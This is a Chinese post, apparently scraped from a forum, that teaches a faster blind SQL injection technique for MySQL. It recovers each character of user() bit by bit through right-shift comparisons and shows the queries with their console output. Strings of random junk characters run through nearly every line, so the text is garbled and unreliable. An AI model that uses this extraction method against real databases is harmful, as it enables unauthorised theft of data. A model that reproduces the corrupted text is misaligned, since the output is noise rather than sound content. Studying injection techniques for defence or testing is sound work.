关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
0 {, S, z* X# h5 p


9 t: ~; U/ |  L; x* ]0 |* Y下面将以查询mysql数据库当中user()的第一位为例:


8 q/ L! p( y* S& ^- X
7 i2 K# K7 o3 Z* v) Q9 a2 Q; Y4 vps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
4 H0 G# ?* i1 v! l; }! J" D
) C0 q8 w( F9 T+ t& h; G

首先执行如下sql语句:


- e2 w& p+ l* T6 {& A/ v' \
5 a: b/ J) X# O. Fmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
: n8 ^0 [$ ^% w0 u; x


( g0 W1 W6 g+ J: _, }1 G8 R" j* U我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
1 z- F8 X3 d7 ~/ @- {! J
. F: c: l! I  |* v. ~

& F9 w: a4 s" l: B8 V第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1

8 x. V8 d: B; n! V( O; v, O
; V" ~7 x  u8 N; X3 L9 X
7 J( v4 n2 T! y" N9 Y  D如果运算结果为1,说明第一位为0,不为1


6 c3 |' g( @5 t. e. d# `
! b. O: z7 y) j+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |
, D0 K; I  q9 h' u+ \0 t
+————————————–+
/ \: p: N% {: d. [3 i
| 1 |
7 U6 K* }5 L. d4 j2 H
+————————————–+

# ^2 K! g6 U: G: s* n+ ?1 row in set (0.00 sec)
; D# `) R) W4 n4 [2 f
, T/ ]  I( H; @# L/ t$ ~这样我们就确定这个8bit的ascii的第一位为0
" k( d# r7 I+ Z
% v" `% n' V0 H/ s7 `; @7 P* ^2 u# S

( S0 b1 L: y* z9 N5 J/ S第二次我们来做6次右偏移来确定前两位
& q! }: f9 A4 [, D& e0 D


, f6 D, g4 ]! H1 q) V) a前两位可能是01或00,即依然可以与0做比较,

: B7 y3 u- z  V9 @7 G  |mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+

( N; l" \5 u* Y% C' R5 x( Z( R| (ascii((substr(user(),1,1))) >> 6)=0 |

! C+ b, `2 g, J/ m, f) W* I! e* o+————————————–+

/ h2 I% O& M# e0 k| 0 |
' C# X, q5 c( y
! ]4 o! V4 O! h! a+————————————–+

- N1 K' s# a  ?1 row in set (0.00 sec)
% K. P5 E; W4 T2 J. R0 @4 W

3 H7 D6 E+ a/ h+ G5 ^
* A# c$ ?$ v. a* b! ~8 T$ n2 g2 X结果为0,即第二位为1

* B4 f6 N# u. y7 ?4 ?7 c6 T

开始猜测前三位为010或011
/ x  X: E5 i) J2 w- x, ^+ Z

5 _# n$ O) @/ H: v
  t' a% H& ]' o8 ^- q让我们看看010和011的ascii码是多少


- c0 S& o) Q6 y5 X: [/ A' e
分别查询select b’011′ select b’010′
1 i: R0 W# S8 n


4 d$ B: v2 E  n9 P1 t, {获得结果 010 = 2 011 = 3



$ X% o0 p2 H1 l+ V( h执行如下sql:



/ F8 S2 \# @9 l2 H2 C$ x* l: zmysql> select (ascii((substr(user(),1,1))) >> 5)=2;

" k: Y; ^" A" O6 G: M& j+————————————–+
  y* U: `" p# B$ j8 A- g9 {
| (ascii((substr(user(),1,1))) >> 5)=2 |
: d) u$ u5 l7 F4 W+ j* L
9 L: l3 _( r6 W7 z2 ?4 h' V+————————————–+
1 D" Q: M& h0 w$ O2 _
# K4 m8 a: ?6 F4 z$ c/ Q. N  C3 _* b| 0 |

' e8 t  S1 G0 A$ s# v$ J+————————————–+
4 t! U( N" A# c% W4 y2 \0 [; O
) o& H) ]4 r% l& D9 i6 Z7 s( o6 ?即前三位不为010,而是011
7 B1 M# n/ [% R
1 A# o: R" D; {
, R4 a5 v: j9 A# c. \" X! j
直到获得最后一位
+ x5 i3 @) k4 L; }( t
; ~5 t9 o9 s6 N7 |6 t2 V

- s" {; Q  O. u2 `6 y最终结果为:01110010



) n. j- ?& F8 |& @& Q% s) a# V/ h转换一下:



; K4 \; D9 x7 D2 d: T. Mselect b’01110010′



查询结果


1 T, W; Z0 a2 K4 c0 H. p' H
+————-+

| b’01110010′ |
+ Y4 P* ~, Z, V1 U& U* r) @
+————-+

& S. C8 `. A' i" U, y% G| r |
& D# e5 I  y8 F$ m* W
+————-+
; d# ^7 ?- Q/ n( b2 L
1 row in set (0.00 sec)



这样我们就获得了user()的第一位.其它位依此类推

( T, c1 h  e7 M/ a